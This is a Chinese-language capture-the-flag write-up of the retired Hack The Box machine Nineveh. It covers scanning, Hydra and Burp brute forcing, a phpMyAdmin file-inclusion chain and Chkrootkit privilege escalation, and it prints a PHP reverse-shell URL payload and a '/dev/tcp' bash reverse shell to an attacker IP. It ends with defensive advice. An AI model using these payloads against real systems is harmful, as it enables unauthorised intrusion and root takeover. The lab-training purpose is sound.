HTB:Nineveh 渗透测试
字数 1424 2025-08-15 21:34:08
HTB: Nineveh 渗透测试教学文档
1. 靶机概述
Nineveh 是 Hack The Box 平台上一台已退役的靶机,模拟了一个包含多个漏洞的真实环境。该靶机主要涉及以下技术点:
- Web 应用目录扫描与信息收集
- 登录表单暴力破解
- 文件包含漏洞利用
- phpMyAdmin 漏洞利用
- Chkrootkit 本地提权漏洞
2. 信息收集阶段
2.1 初始扫描
使用 Nmap 进行端口和服务扫描:
nmap -sV -O -A 10.129.107.203
扫描结果:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
2.2 Web 目录扫描
发现以下重要路径:
- http://10.129.107.246/index.html
- http://10.129.107.246/info.php
- http://10.129.107.246/department/ (登录界面)
3. 漏洞探测与利用
3.1 登录表单暴力破解
在 /department/ 路径发现登录表单,通过查看前端代码确认存在 admin 用户。
使用 Hydra 进行暴力破解:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.129.107.246 -V http-form-post '/department/login.php:username=^USER^&password=^PASS^:Invalid Password!'
成功获取凭据:
- 用户名: admin
- 密码: 1q2w3e4r5t
3.2 文件包含漏洞发现
登录后在 Notes 功能中发现可能存在文件包含漏洞。经过测试发现需要提交特定关键字才能利用。
3.3 HTTPS 端口探索
访问 https://10.129.107.246/db/index.php 发现 phpMyAdmin 1.9 版本。
使用 searchsploit 查找漏洞:
searchsploit phpadmin 1.9
发现漏洞利用需要先登录 phpMyAdmin。
3.4 phpMyAdmin 暴力破解
使用 Burp Suite 爆破 phpMyAdmin 登录,获取密码:
- 密码: password123
3.5 文件包含漏洞利用
按照 exploit 说明:
- 创建新数据库,名称必须为
ninevehNotes.php - 创建数据表
- 验证文件包含漏洞是否可利用
4. 获取初始访问
4.1 通过文件包含漏洞反弹 shell
使用以下 payload 通过文件包含漏洞执行 PHP 代码反弹 shell:
http://10.129.107.246/department/manage.php?notes=/var/tmp/ninevehNotes.php&cmd=php%20-r%20%27$sock=fsockopen(%2210.10.14.57%22,4242);$proc=proc_open(%22/bin/sh%20-i%22,%20array(0=%3E$sock,%201=%3E$sock,%202=%3E$sock),$pipes);%27
4.2 获取交互式 shell
在获取初始 shell 后,升级为完全交互式 shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
5. 权限提升
5.1 初步枚举
使用 LinEnum.sh 进行系统枚举,发现 /report 文件夹包含 rootkit 检测工具。
5.2 Chkrootkit 提权漏洞
发现系统定期运行 Chkrootkit,该工具存在已知的本地提权漏洞。
利用步骤:
- 在
/tmp目录下创建恶意update文件:
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.57/443 0>&1' > /tmp/update
chmod +x /tmp/update
-
等待 Chkrootkit 再次执行(通常为定时任务)
-
在攻击机上监听 443 端口,获取 root 权限的 shell
6. 关键要点总结
- 信息收集要全面:同时扫描 HTTP 和 HTTPS 端口,发现不同服务
- 凭证爆破:对 Web 登录表单和 phpMyAdmin 都要尝试爆破
- 漏洞链利用:结合文件包含和 phpMyAdmin 漏洞获取初始立足点
- 定时任务提权:关注系统定时任务和已知漏洞的本地提权方式
- 自动化工具辅助:合理使用 Hydra、searchsploit 等工具提高效率
7. 防御建议
- 使用强密码策略,防止暴力破解
- 及时更新软件版本,修复已知漏洞
- 对文件包含功能实施严格过滤
- 定期审查系统定时任务和 SUID 文件
- 使用最新版本的安全工具,避免工具自身漏洞被利用